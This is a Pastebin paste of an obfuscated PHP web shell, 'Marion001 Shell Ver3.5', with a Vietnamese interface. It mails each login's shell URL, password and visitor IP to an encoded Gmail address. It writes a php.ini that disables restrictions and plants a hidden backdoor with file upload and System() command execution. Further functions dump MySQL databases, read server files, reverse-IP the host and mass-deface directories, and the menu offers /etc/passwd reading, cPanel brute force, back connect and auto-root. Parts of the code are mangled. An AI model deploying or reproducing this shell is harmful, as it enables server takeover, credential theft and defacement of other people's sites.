SHARE
TWEET

Untitled

anhkiet2507 Sep 25th, 2017 12,513 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $xxkaqrnyq="jrehsadpctn";
  3. $yvneivxh="ncspyfkrqy";
  4. $kfiaxqo="qrunsleoz";
  5. $goxgjtyeu="ncspyfkrqy";
  6. $fitqle="jrkltnn";
  7. ${onrxgeq}="action";
  8. ${jrehsadpctn}="action";
  9. ${piakocqwong}="action";
  10. ${lkxedqoe}="action";
  11. $vchxxpkwku="vbwjedbge";
  12. ${ctvbyyzot}="action";
  13. $gwdkxixnrwt="eymjexmj";
  14. ${nmcmnrsakbq}="pg_on";
  15. $htnivomx="wfbphubyjlw";
  16. ${jxtlvyffut}="charset";
  17. ${sgzsvoyrkqs}="mtime";
  18. ${qokrwxewj}="perl";
  19. ${reulqdm}="pg_on";
  20. error_reporting(7);
  21. @ini_set("output_buffering",0);@ini_set("display_errors",0);${hqjielhmjjgl}="mysql_on";${eymjexmj}="explink";@set_magic_quotes_runtime(0);${$yvneivxh}="MarionAdmin";${vaklirkgmv}="doing";${bseolw}="Wget";@set_time_limit(0);${smezlbar}="MarionAdmin";${eclcwcrdc}="mtime";${jwytqxtrqfom}="dis_func";date_default_timezone_set("Asia/Ho_Chi_Minh");ob_start();${wfbphubyjlw}="PyThon";${${eclcwcrdc}
  22. }=explode(" ",microtime());${starttime}=${mtime}[1]+${${sgzsvoyrkqs}
  23. }[0];define("SA_ROOT",str_replace("\","/",dirname(__FILE__))."/");define("IS_WIN",DIRECTORY_SEPARATOR=="\");define("IS_COM",class_exists("COM")?1:0);define("IS_GPC",get_magic_quotes_gpc());${${jwytqxtrqfom}
  24. }=get_cfg_var("disable_functions");define("IS_PHPINFO",(!eregi("phpinfo",${dis_func}))?1:0);${rfovnvxb}="self";foreach(array("_GET","_POST")as$_request) {
  25.   $bjtibggyrf="isftuvla";${isftuvla}="_key";foreach($$_request as${${$bjtibggyrf}
  26. }
  27. =>${_value}) {
  28.   if(${_key} {
  29.     0
  30.   }
  31.   !="_") {
  32.     if(IS_GPC) {
  33.       ${_value}=s_array(${_value});
  34.     }
  35.     $mrlclrmiym="mbeeoksk";${$mrlclrmiym}="_key";${ayemagrcpeg}="_value";$${${mbeeoksk}
  36.   }
  37.   =${${ayemagrcpeg}
  38. };
  39. }
  40. }
  41. }${MarionAdmin}=array();${${$goxgjtyeu}
  42. }["check"]=true;${MarionAdmin}["pass"]=${PasMarion001};${MarionAdmin}["cookiepre"]="";${MarionAdmin}["cookiedomain"]="";${${smezlbar}
  43. }["cookiepath"]="/";${MarionAdmin}["cookielife"]=86400;${eahxfrjv}="M1711";${${eahxfrjv}
  44. }="bXIubWFyaW9uMDAxQGdtYWlsLmNvbQ==\n";${GUISEND}=base64_decode(urldecode(urldecode("$M1711")));${cmncpnfdpp}="ora_on";${qrunsleoz}="nowpath";if(${charset}=="utf8") {
  45.   header("content-Type: text/html; charset=utf-8");
  46. }
  47. elseif(${charset}=="big5") {
  48.   header("content-Type: text/html; charset=big5");
  49. }
  50. elseif(${${jxtlvyffut}
  51. }=="gbk") {
  52.   header("content-Type: text/html; charset=gbk");
  53. }
  54. elseif(${charset}=="latin1") {
  55.   header("content-Type: text/html; charset=iso-8859-2");
  56. }
  57. ${${rfovnvxb}
  58. }=$_SERVER["PHP_SELF"]?$_SERVER["PHP_SELF"]:$_SERVER["SCRIPT_NAME"];${timestamp}=time();if(${action}=="logout") {
  59.   setcookie("cookieMarion","",-86400*365);setcookie("cookieMarion","",time()-360);${ysvepmke}="self";p("<meta http-equiv="refresh" content="0;URL=".${${ysvepmke}
  60. }."">");p("<body background=black>");exit;
  61. }
  62. if(empty($_COOKIE["cookieMarion"])) {
  63.   if($_COOKIE["cookieMarion"]!=${MarionAdmin}["pass"]) {
  64.     ${wruiunnuj}="Marion001";if(isset($_POST["cookieMarion"])) {
  65.       if(($_POST["cookieMarion"])==${MarionAdmin}["pass"]) {
  66.         $sytshdiks="dnrylcx";${mafkwwdjlp}="MarionAdmin";${$sytshdiks}="linkcr";${slrwiyo}="self";setcookie("cookieMarion",${${mafkwwdjlp}
  67.       }
  68.       ["pass"]);${time_shell}="".date("H:i:s - d/m/Y")."";${ip_remote}=$_SERVER["REMOTE_ADDR"];${from_shellcode}="Marion001-Success@".gethostbyname($_SERVER["SERVER_NAME"])."";${server_mail}="".gethostbyname($_SERVER["SERVER_NAME"])."  - ".$_SERVER["HTTP_HOST"]."";${linkcr}="Link-Shell: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"]." - Pass-Shell: ".${MarionAdmin}["pass"]." - IP Thuc Hien: $ip_remote Thoi Gian: $time_shell";${header}="From: $from_shellcode Reply Marion001-Shell: $from_shellcode";@mail(${GUISEND},${server_mail},${${dnrylcx}},${header});p("<meta http-equiv="refresh" content="0;URL=".${self}."">");p("<body bgcolor=black>
  69. <BR>
  70. <BR>
  71. <div align=center><font color=green face=tahoma size=2><a style=color:green; href=".${${slrwiyo}
  72.     }
  73.     .">Xin Chào Marion001 Đã Quay Lại, Đang Khởi Động Shell. Vui Lòng Chờ...;
  74. <BR><img src="https://lh6.googleusercontent.com/-O0pi9Yi3omo/VDiaR9XYOTI/AAAAAAAAAAk/g5j7XtnwOhs/w346-h433/radar.gif"/></a></div>");exit;die();
  75.   }
  76.   else {
  77.     ${jssjnjyd}="server_mail";${zgdqbvtk}="time_shell";${${zgdqbvtk}
  78.   }
  79.   ="".date("H:i:s - d/m/Y")."";${ip_remote}=$_SERVER["REMOTE_ADDR"];${from_shellcode}="Marion001-Failure@".gethostbyname($_SERVER["SERVER_NAME"])."";${seqmxrjnqjdu}="linkcr";${hxzeqohrw}="header";${server_mail}="".gethostbyname($_SERVER["SERVER_NAME"])."  - ".$_SERVER["HTTP_HOST"]."";${linkcr}="Link-Shell: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"]." - Pass-Shell: ".${MarionAdmin}["pass"]." - IP Thuc Hien: $ip_remote Thoi Gian: $time_shell";${${hxzeqohrw}
  80. }
  81. ="From: $from_shellcode Reply Marion001-Shell: $from_shellcode";@mail(${GUISEND},${${jssjnjyd}},${${seqmxrjnqjdu}},${header});echo"<table width=100%>
  82. <tr><td bgcolor= width=100% height=24>\n
  83. <div align=center><font color=While face=tahoma size=2>
  84. <h1>Đăng Nhập Thất Bại, Sai Mật Khẩu</h1>\n
  85. <BR></font></div></td></tr></table>
  86. <br/><div style="text-align: center; font-size: 15px; padding-top: 5px;\">\n<img alt="" src="http://www.wieistmeineip.de/ip-address"/></div>";
  87. }
  88. }
  89. echo"<html>
  90. <head><body bgcolor=black background=black><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8" />
  91. <title>..: Marion001 :..</title>\n<style type="text/css">A:link {text-decoration: none; color: green
  92. }A:visited {text-decoration: none;color:red
  93. }A:active {text-decoration: none
  94. }A:hover {text-decoration: underline; color: green;
  95. }input, textarea, button{font-size: 11pt; color: green; font-family: verdana, sans-serif; background-color: black;
  96. }</style>\n
  97. <BR>
  98. <BR>
  99. <div align=center ><fieldset style="border: 1px solid rgb(20, 255, 0); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt\">\n
  100. <legend><font color=IndianRed1>
  101. <B>Shell Marion001-Ver3.5</b></font></legend>
  102. <div>
  103. <font color=#EEEE00>
  104. <font color=#33ff00>==[
  105. <B>Marion001</B> ]== </font>
  106. <BR>
  107. <BR>\n<form method="POST" action=""><span style="font:10pt tahoma;">Vui lòng nhập mật khẩu: </span><input name="cookieMarion\" type="password" size="20" title="Nhập mật khẩu">\n<input type="submit" value="Marion001" title="Vui lòng nhập\"><a href=\"Shell Marion001
  108. facebook.com/Party.Marion002"></a></form>
  109. <BR>
  110. <B>\n
  111. <font color=white><a href=https://www.facebook.com/1538019036482448 target=_blank>Developed by Marion001</a>
  112. <BR></b></div></fieldset>\n<font face="Orbitron" style=\"color:white;text-shadow: 0 0 0.3em MediumBlue,0 0 0.3em MediumBlue; z-index:900000"></a>
  113. <style>HTML,BODY{cursor: url("http://downloads.totallyfreecursors.com/thumbnails/mchiller.ani\"), url("http://downloads.totallyfreecursors.com/thumbnails/mchiller.gif\"), auto;
  114. }</style>\n
  115. <br>
  116. <h2><font face="Orbitron" style="color:rgb(0, 255, 178);">
  117. <br></head>
  118. <center><div class=\"g-ytsubscribe" data-channelid=\"UCAapAGA3TQ-BJot0fX9f6fQ" data-layout="full" data-count="default"></div>
  119. <br/>
  120. <br/>\n<iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/1538019036482448&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35" scrolling=\"no\" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowtransparency="true"></iframe><iframe width="146" height="28" src=\"http://www.hit-counts.com/counter.php?t=MTM0MjE2NQ==\" frameborder="0\" allowfullscreen=\"true"></iframe></center>
  121. </html>";
  122.  if(isset($_GET['php-ini'])){$bypass_cmd = "php.ini";$dosya = fopen ($bypass_cmd , 'w') or die ("Lỗi, Không Mở Được File");$tuyen1 = "safe_mode = OFF disable_functions = NONE";
  123.  fwrite($dosya, base64_decode($tuyen1));fclose($dosya);}$Funtiontool = ' $hrqtcwvmgyyi="Mail_Gui";
  124. @ini_set("output_buffering",0);$popftlcfnw="NoiDung";$lijbsyh="TimeVN";@ini_set("display_errors",0);$ffxywqkx="NoiDung";${TimeVN}=+7;${thoigian}=gmdate("d/m/Y H:i:s",time()+3600*(${$lijbsyh}+date("0")));${ip}=$_SERVER["REMOTE_ADDR"];${web}=$_SERVER["HTTP_USER_AGENT"];${NoiDung}.="Thoi Gian: $thoigian"."\r\n"."IP Nguoi Dung: $ip"."\r\n";${NoiDung}.="IP Web: ".gethostbyname($_SERVER["SERVER_NAME"]).""."\r\n"."Trinh Duyet: $web"."\r\n";${$popftlcfnw}.="Link-Web: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"].""."\r\n";${$ffxywqkx}.="BackDoor Upload: tenfile.php?/*!BackDoor*/=(!)/*!Marion001*/=*"."\r\n"."BackDoor Command: tenfile.php?/*!50000(!)Query*/(/*!CMD*/=Lenh"."\r\n";${$hrqtcwvmgyyi}="Marion001-LinkShell@".gethostbyname($_SERVER["SERVER_NAME"])."";${Mail_Nhan}="mr.marion001@gmail.com";${Tieu_De}="Marion001-Link ".$_SERVER["HTTP_HOST"]."";${Reply}="From: $Mail_Gui  Reply Marion001-Link: $Mail_Gui";$koyuvwuux="Noi_Dung";${Noi_Dung}="$NoiDung";@mail(${Mail_Nhan},${Tieu_De},${$koyuvwuux},${Reply});if($_GET["/*!BackDoor*/"]=="(!)/*!Marion001*/=*")  {
  125.     echo"<form method=\"POST" enctype="multipart/form-data" action="?/*!BackDoor*/=(!)/*!Marion001*/=*"><input type="file" name="upload_link" size=\"20" id="file\"><input type="submit" name=\"gui" value="BackDoor" ></form>";if(isset($_POST["gui"]))  {
  126.         move_uploaded_file($_FILES["upload_link"]["tmp_name"],$_FILES["upload_link"]["name"]);echo"<h1>Tải file lên thành công.</h1>";  
  127.   }
  128.    
  129. }
  130. echo "<pre>";@ini_set("output_buffering",0);@ini_set("display_errors",0);System($_GET["/*!50000(!)Query*/(/*!CMD*/"]);echo "</pre>\n";
  131. ?> ';?>
  132. die();
  133. }
  134. }if(${doing}=="downfile"&&${thefile}) {
  135.   if(!@file_exists(${${${"GLOBALS"}["fhiykofuv"]
  136. }
  137. ="Tập tin muốn tải không có trong hệ thống";
  138. }else {
  139.   $aglvjmu="ssjsmrctfz";${$aglvjmu}="thefile";${mkpeav}="fileinfo";${yehxgoqesxu}="thefile";${fileinfo}=pathinfo(${${ssjsmrctfz}});header("Content-type: application/x-".${${mkpeav}
  140. }
  141. ["extension"]);header("Content-Disposition: attachment; filename=".${fileinfo}["basename"]);header("Content-Length: ".filesize(${thefile}));@readfile(${${yehxgoqesxu}});exit;
  142. }
  143. }if(${${vaklirkgmv}
  144. }=="backupmysql"&&!${saveasfile}) {
  145.   $dxollxsx="bspfubkcvo";$cqgnspbqfdna="nrrehyz";$fkoxest="yvelvlvr";${bcluitw}="result";${$dxollxsx}="dbpass";${sdjbyy}="filename";${yvelvlvr}="currow";${lukrvtr}="mysqldata";dbconn(${dbhost},${dbuser},${${bspfubkcvo}},${dbname},${charset},${dbport});${table}=array_flip(${table});${nrrehyz}="result";${${bcluitw}
  146. }
  147. =q("SHOW tables");if(!${${$cqgnspbqfdna}})p("<h2>".mysql_error()."</h2>");${${sdjbyy}
  148. }=basename($_SERVER["HTTP_HOST"]."_MySQL-Marion001.sql");header("Content-type: application/unknown");header("Content-Disposition: attachment; filename=".${filename});${${lukrvtr}
  149. }="";while(${${$fkoxest}
  150. }=mysql_fetch_array(${result})) {
  151.   if(isset(${table}[${currow}[0]])) {
  152.     ${rxefmytp}="mysqldata";${${rxefmytp}
  153.   }
  154.   .=sqldumptable(${currow}[0]);
  155. }
  156. }mysql_close();exit;
  157. }if(${doing}=="mysqldown") {
  158.   if(!${dbname}) {
  159.     ${errmsg}=" dbname";
  160.   }
  161.   else {
  162.     ${xqjvhvdv}="mysqldlfile";${rfydehtmuwk}="dbname";dbconn(${dbhost},${dbuser},${dbpass},${${rfydehtmuwk}},${charset},${dbport});if(!file_exists(${${xqjvhvdv}})) {
  163.       ${cfqhxjgrf}="errmsg";${${cfqhxjgrf}
  164.     }
  165.     ="Tập tin muốn tải không tồn tại";
  166.   }
  167.   else {
  168.     ${ufnhnxc}="row";${result}=q("select load_file('$mysqldlfile');");if(!${result}) {
  169.       q("DROP TABLE IF EXISTS tmp_angel;");q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");q("LOAD DATA LOCAL INFILE '".addslashes(${mysqldlfile})."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp
  170. }_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp
  171. }_eof__';");${result}=q("select content from tmp_angel");q("DROP TABLE tmp_angel");
  172.     }
  173.     ${${ufnhnxc}
  174.   }
  175.   =@mysql_fetch_array(${result});if(!${row}) {
  176.     ${jtkllwxhr}="errmsg";${${jtkllwxhr}
  177.   }
  178.   ="Load File Th&#7845;t B&#7841;i ".mysql_error();
  179. }
  180. else {
  181.   $ryhtvvihqg="tgwglbue";${$ryhtvvihqg}="fileinfo";${${tgwglbue}
  182. }
  183. =pathinfo(${mysqldlfile});header("Content-type: application/x-".${fileinfo}["extension"]);header("Content-Disposition: attachment; filename=".${fileinfo}["basename"]);header("Accept-Length: ".strlen(${row}[0]));echo${row}[0];exit;
  184. }
  185. }
  186. }
  187. }echo"<html>
  188. <head><meta http-equiv="Content-Type" content=\"text/html; charset=utf-8\">
  189. <title>";echo"Marion001 ".$_SERVER["HTTP_HOST"]."";echo"</title>\n<style type="text/css\">body,td{font: 10pt Tahoma;color:00FF00;line-height: 16px;
  190. }a {color: 00FF00;text-decoration:none;
  191. }a:hover{color: #F8F8FF;text-decoration:underline;
  192. }\n.alt1 td{border-top:1px solid rgb(45, 255, 0);border-bottom:1px solid rgb(45, 255, 0);background:;padding:5px 10px 5px 5px;
  193. }\n.alt2 td{border-top:1px solid rgb(45, 255, 0);border-bottom:1px solid rgb(45, 255, 0);background:#f9f9f9;padding:5px 10px 5px 5px;
  194. }\n.focus td{border-top:1px solid rgb(0, 255, 90);border-bottom:0px solid rgb(45, 255, 0);background:#6415F0;padding:5px 10px 5px 5px;
  195. }\n.fout1 td{border-top:1px solid rgb(45, 255, 0);border-bottom:0px solid rgb(45, 255, 0);background:#6415F0;padding:5px 10px 5px 5px;
  196. }\n.fout td{border-top:1px solid rgb(45, 255, 0);border-bottom:0px solid rgb(45, 255, 0);background:;padding:5px 10px 5px 5px;
  197. }\n.head td{border-top:1px solid rgb(45, 255, 0);border-bottom:1px solid rgb(45, 255, 0);background:rgba(27, 17, 248, 0.54);padding:5px 10px 5px 5px;font-weight:bold;
  198. }\n.head_small td{border-top:1px solid rgb(45, 255, 0);border-bottom:1px solid rgb(45, 255, 0);background:;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;
  199. }\n.head td span{font-weight:normal;
  200. }form{margin:0;padding:0;
  201. }h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#FF0000;
  202. }\nul.info li{margin:0;color:#444;line-height:24px;height:24px;
  203. }u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;
  204. }\ninput, textarea, button{font-size: 9pt;color: #EBFF00;font-family: verdana, sans-serif;background-color: #1D13FD;border-left: 1px solid #74A202;\nborder-top: 1px solid #74A202;border-right: 1px solid #74A202;border-bottom: 1px solid #74A202;
  205. }select{font-size: 8pt;font-weight: normal;color: #ccc;font-family: verdana, sans-serif;background-color: #1D13FD;
  206. }\n</style><script type=\"text/javascript">\n
  207. function CheckAll(form) {for(var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;
  208. }
  209. }
  210. function \$(id) {return document.getElementById(id);
  211. }
  212. function goaction(act){\$('goaction').action.value=act;\$('goaction').submit();
  213. }\n
  214. </script><body onLoad=\"init()" style="margin:0;table-layout:fixed; word-break:break-all\" bgcolor=black background=black><div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;\" id=\"loading" align=\"center" valign="center">\n<table border="1\" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="green">
  215. <tr><td align="center\" valign=center>\n
  216. <div  align="center">
  217. <b>Marion001</b><img src="https://lh6.googleusercontent.com/-XkAaI4Azt28/VDiaerpCLYI/AAAAAAAAABM/DWyqyNo_ZUA/s426/loading1.gif\" width=\"60" height="60" title="Đang tải dữ liệu"></div></td></tr></table></div>\n
  218. <script>
  219. var ld=(document.all);var ns4=document.layers;var ns6=document.getElementById&&!document.all;var ie4=document.all;if (ns4)ld=document.loading;else if (ns6)ld=document.getElementById(\"loading").style;else if (ie4)ld=document.all.loading.style;
  220. function init(){if(ns4){ld.visibility="hidden";
  221. }else if (ns6||ie4) ld.display="none";
  222. }\n
  223. </script><table width=\"100%" border="0" cellpadding=\"0\" cellspacing="0"><tr class="head_small\">
  224. <td  width=100%>
  225. <table width=100%><tr class="head_small\">
  226. <td  width=86px>
  227. <p><img src=\"https://lh6.googleusercontent.com/-O0pi9Yi3omo/VDiaR9XYOTI/AAAAAAAAAAk/g5j7XtnwOhs/w346-h433/radar.gif" width="140\" height=\"140"></p></td>
  228. <td>\n<span style="float:left;"></span>";echo"Hostname: <a style='color:red' href=http://".$_SERVER["HTTP_HOST"]." target=\"_bank\">".$_SERVER["HTTP_HOST"]."</a>";echo" | Server IP:
  229. <b>";echo"<font color=LawnGreen>".gethostbyname($_SERVER["SERVER_NAME"])."</font>";echo"</b> - \n";${$vchxxpkwku}="Wget";echo"<a style=color:yellow; href="http://www.bing.com/search?q=ip:".@$_SERVER["SERVER_ADDR"]."" target="_blank">
  230. <b>Ping ip</b></a>";echo" | ";echo"<a style=color:yellow; href="?RESEVERIP-MARION001" target="_blank">
  231. <b>Reverse ip</b></a>";echo" | Your IP:
  232. <b>";$hucnrz="hqjielhmjjgl";echo"<font color=LawnGreen>".$_SERVER["REMOTE_ADDR"]."</font>";echo"</b>|
  233. <b><a style=color:yellow; href="https://www.facebook.com/1538019036482448\" target="_blank" title="Facebook">";echo str_replace(".","","Marion001");echo" </a></b> | <a href=\"javascript:goaction('logout');" title=\"Logout\">
  234. <font color=FFFFFF>
  235. <b>&Đăng xuất</b></font></a></span>
  236. <br />\n";${curl_on}=@function_exists("curl_version");${mysql_on}=@function_exists("mysql_connect");${mssql_on}=@function_exists("mssql_connect");${pg_on}=@function_exists("pg_connect");${ora_on}=@function_exists("ocilogon");${perl}=exe("perl --help");${jrkltnn}="mssql_on";${${$htnivomx}
  237. }=exe("python --help");${${bseolw}
  238. }=exe("wget --help");echo((${safe_mode})?("Safe_mod:
  239. <b>
  240. <font color=red>ON</font></b> - "):("Safe_mod:
  241. <b><font color=LawnGreen>OFF</font></b> - "));echo"PHP version:
  242. <b><a href="javascript:goaction('phpinfo');">".@phpversion()."</a></b> - ";echo"Perl: ".((${${qokrwxewj}})?("<b><font color=LawnGreen>ON</font></b> - "):("<b>
  243. <font color=red>OFF</font></b> - "));echo"PyThon: ".((${PyThon})?("<b><font color=LawnGreen>ON</font></b> - "):("<b>
  244. <font color=red>OFF</font></b> - "));echo"Wget: ".((${${vbwjedbge}})?("<b><font color=LawnGreen>ON</font></b> - "):("<b>
  245. <font color=red>OFF</font></b> - "));echo"cURL: ".((${curl_on})?("<b><font color=LawnGreen>ON</font></b> - "):("<b>
  246. <font color=red>OFF</font></b> - "));echo"MySQL: ";${${$hucnrz}
  247. }=@function_exists("mysql_connect");${kyyjfdtybg}="action";if(${mysql_on}) {
  248.   echo"<b><font color=LawnGreen>ON</font></b> - ";
  249. }
  250. else {
  251.   echo"<b>
  252. <font color=red>OFF</font></b> - ";
  253. }
  254. echo"MSSQL: ";${${$fitqle}
  255. }=@function_exists("mssql_connect");if(${mssql_on}) {
  256.   echo"<b><font color=LawnGreen>ON</font></b> - ";
  257. }
  258. else {
  259.   echo"<b>
  260. <font color=red>OFF</font></b> - ";
  261. }
  262. echo"PostgreSQL: ";${qfeejkx}="action";${${nmcmnrsakbq}
  263. }=@function_exists("pg_connect");if(${${reulqdm}}) {
  264.   echo"<b><font color=LawnGreen>ON</font></b> - ";
  265. }
  266. else {
  267.   echo"<b>
  268. <font color=red>OFF</font></b> - ";
  269. }
  270. echo"Oracle: ";${ora_on}=@function_exists("ocilogon");if(${${cmncpnfdpp}}) {
  271.   echo"<b><font color=LawnGreen>ON</font></b>";
  272. }
  273. else {
  274.   echo"<b>
  275. <font color=red>OFF</font></b>";
  276. }
  277. if(is_callable("file_get_contents")) {
  278.   ${gttkftm}="getconten";${${gttkftm}
  279. }
  280. ="<b><font color=LawnGreen>ON</font></b>";
  281. }else {
  282.   $uqddatxe="xqptyvslu";$jtxulustur="xqptyvslu";${$uqddatxe}="getconten";${${$jtxulustur}
  283. }
  284. ="<b>
  285. <font color=red>OFF</font></b>";
  286. }echo" - File_get_contents: $getconten";if(is_callable("socket_connect")) {
  287.   $xjakcplmjvto="xediyilnhzgi";${xediyilnhzgi}="Socket";${${$xjakcplmjvto}
  288. }
  289. ="<b><font color=LawnGreen>ON</font></b>";
  290. }else {
  291.   ${Socket}="<b>
  292. <font color=red>OFF</font></b>";
  293. }
  294. echo" - Socket_Connect: $Socket";echo" - GGI:
  295. <b>".$_SERVER["GATEWAY_INTERFACE"]."</b>
  296. <br>";${release}=@php_uname("r");${kernel}=@php_uname("s");${explink}="https://www.google.com.vn/search?q=";if(strpos("Linux",${kernel})!==false)${${$gwdkxixnrwt}
  297. }.=urlencode("Linux Exploit kernel ".substr(${release},0,14));else${explink}.=urlencode(${kernel}." ".substr(${release},0,14));echo"Disable functions :
  298. <b>";if(""==(${df}=@ini_get("disable_functions"))) {
  299.   echo"<font color=LawnGreen>NONE</font></b>
  300. <BR>";
  301. }
  302. else {
  303.   echo"<font color=red>$df</font></b>
  304. <BR>";
  305. }
  306. if(IS_WIN) {
  307.   echo"Server Execute Filenames:
  308. <b>".$_SERVER["PATHEXT"]."</b>
  309. <br/>";echo"Server Command Path:
  310. <b>".$_SERVER["COMSPEC"]."</b>
  311. <br>";
  312. }
  313. echo"<font color=red>Uname -a</font>: ".@substr(@php_uname(),0,9999)." - <a style=color:#FFF500; href=".${explink}." target='_blank' title='$explink'>
  314. <b>[Google Exploit]</b></a>
  315. <br>";echo"<a style='color:white;' href='?Info-Server' title='info server'>Server</a>: ".@substr($SERVER_SOFTWARE,0,9999)." -
  316. <font color=Red>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") - gid=".@getmygid()."(".@get_current_user().")
  317. <br/>";echo"Server Admin: ".$_SERVER["SERVER_ADMIN"]."<br/>";${d0mains}=@file("/etc/named.conf");if(!${d0mains}) {
  318.   echo"";
  319. }
  320. else {
  321.   ${demdomain};foreach(${d0mains}as${d0main}) {
  322.     if(@ereg("zone",${preg_match_all("#zone "(.*)"#",${d0main},${domains});flush();if(strlen(trim(${flush();${${"GLOBALS"}["oybwrhaktneb"]
  323.   }
  324.   ++;
  325. }
  326. }
  327. }echo"<br/>Domain Tr&#234;n Server:
  328. <font color='red'>$demdomain</font> Domain";
  329. }echo"</td>
  330. <td width="46px\">
  331. <b><a href=\"?action=Delete-Shell" title="X&#243;a Shell">Kill Shell</a>
  332. <br/>
  333. <br/><a href="javascript:goaction('about');">About</a>
  334. <br/>
  335. <br/>\n<a href="javascript:goaction('phpinfo');" title="Xem Th&#244;ng Tin PHP">PHPInfo</a>
  336. <br/>
  337. <br/><a href="javascript:goaction('php-ini');" title="T&#7841;o file php.ini">php.ini</a>
  338. <b/></td></tr></table>
  339. <tr bgcolor="white">
  340. <td><style type=\"text/css">.commenthiddenlenh {display:none
  341. }.commentshownlenh {display:inline
  342. }</style>\n</td></tr></td></tr>
  343. <tr class="alt1"><td  width=10% title="T&#7841;o Ch&#7913;c N&#259;ng/Create Function">\n<a href="javascript:history.back(-1)\" title=\"Quay L&#7841;i">
  344. <b>Back</a> | <a style="color:#ff0000;" href="";echo$_SERVER["PHP_SELF"];echo"\" title="loading Loading shell">HOME</b></a> | <a href=\"javascript:goaction('file');">File Manager</a> | <a href="javascript:goaction('sqladmin');" title="Login V&#224;o Database">SQL</a> | \n<a href="javascript:goaction('etcpwd');">/etc/passwd</a> | <a href="javascript:goaction('newcommand');" title="Command.php">Command</a> | <a href=\"javascript:goaction('crackmd5');" title="Gi&#7843;i M&#227; MD5">Crack MD5</a> | \n<a href="javascript:goaction('kiemtraip');" title="Ki&#7875;m Tra ip">My IP address</a> | <a href="javascript:goaction('backconnect');" title="K&#7871;t N&#7889;i V&#7899;i PC"> Back Connect</a> | <a href=\"javascript:goaction('CGI');" title=\"Shell CGI.Marion001">CGI Shell</a> | <a href=\"javascript:goaction('command');" title="Command 1\">CMD</a> | \n<a href="?CommandFix-Marion001" title="Command 2">CMD-FIX</a> | <a href=\"?php=Marion001" title="M&#227; H&#243;a Code PHP">PHP Encode</a> | <a href=\"?StringHash\" title="Mã hóa chuỗi hash">String To Hash</a> | <a href="?Check-Shell\" title="Mass Shell Checker">Check Live Shell</a> |\n<a href="?ScanFile" title="Scan File, Scan Shell">Scan File</a> | <a href="javascript:goaction('Marion001-Root');" title="Auto Root.pl, linux kernel 2010-2013">Auto Root.pl</a> | <a href="javascript:goaction('indexmarion');" title=\"T&#7841;o Index/Create Marion001.html">Marion001.html</a> | <a href=\"javascript:goaction('cpanlbrute');\">Cpanel Brute</a> | <a href="?MassDeface">Mass Deface</a> |\n<a href=\"javascript:goaction('packshell');" title="Tool Pack Shell">Extract Shell</a> |\n</td></tr></table><table width="100%" border="0" cellpadding=\"15" cellspacing="0">
  345. <tr>
  346. <td>";if(isset($_GET["RESEVERIP-MARION001"])) {
  347.   $host=$_SERVER["SERVER_ADDR"];$lhbpgyyac="zzvphuldfv";${gdnwrbj}="resp";${hlqhllokuf}="ch";${$lhbpgyyac}="resp";ob_start();@set_time_limit(0);$hrsdyyosb="ggvziklt";${gktrdo}="array";echo"<center>
  348. <h1>Reverse IP Server: $host</h1></center>";$hanbwdsmm="zzvphuldfv";${adjsmi}="ch";${reseverlock}="http://domains.yougetsignal.com/domains.php";${$hrsdyyosb}="reseverlock";${brijmjcvsdj}="ch";${${hlqhllokuf}
  349. }
  350. =curl_init(${${ggvziklt}});curl_setopt(${ch},CURLOPT_RETURNTRANSFER,1);curl_setopt(${ch},CURLOPT_POSTFIELDS,"remoteAddress=$host&ket=");curl_setopt(${${adjsmi}},CURLOPT_HEADER,0);curl_setopt(${ch},CURLOPT_POST,1);${${gdnwrbj}
  351. }=curl_exec(${ch});${resp}=str_replace("[","",str_replace("]","",str_replace("""","",str_replace(", ,",",",str_replace("{","",str_replace("{","",str_replace("
  352. }","",str_replace(", ",",",str_replace(", ",",",str_replace("'","",str_replace("'","",str_replace(":",",",str_replace(""","",${${$hanbwdsmm}})))))))))))));${${gktrdo}
  353. }=explode(",",${resp});unset(${array}[0]);echo"<table class='tbl'>";${demsite}="0";foreach(${array}as${linksite}){print"<tr>
  354. <td><a href='http://$linksite' target=_blank>$linksite</a></td></tr>";${demsite}++;
  355. }echo"</table>
  356. <center>
  357. <h1>Chúng ta có;: $demsite Site Chung Server $host</h1></center>";curl_close(${${brijmjcvsdj}});exit();
  358. }if(${action}=="phpinfo"){if(IS_PHPINFO){phpinfo();
  359. }else{echo"phpinfo() Chức năng không cho phép";
  360. }
  361. }if(isset($_GET["MassDeface"])){${xxnigbpufgd}="filename";@ini_set("output_buffering",0);@ini_set("display_errors",0);echo"<h1>
  362. <center>Mass Deface By: Marion001</center></h1>
  363. <br/>
  364. <center><textarea style='margin: 0px; width: 98%; height: 350px;'>";${defaceurl}=$_POST["massdefaceurl"];${dir}=$_POST["massdefacedir"];${${xxnigbpufgd}
  365. }=$_POST["filename"];${masslink}=getcwd();echo${dir}."\n";if(is_dir(${dir})){if(${dh}=opendir(${dir})){while((${file}=readdir(${dh}))!==false){if(filetype(${dir}.${file})=="dir"){$jdtsgfqdx="tklpflh";${ltgcjqgt}="filename";${$jdtsgfqdx}="newfile";${newfile}=${dir}.${file}."/".${${ltgcjqgt}};echo${newfile}."\n";if(!copy(${defaceurl},${${tklpflh}})){echo"Không thể sao chép: $file...\n\n";
  366. }
  367. }
  368. }closedir(${dh});
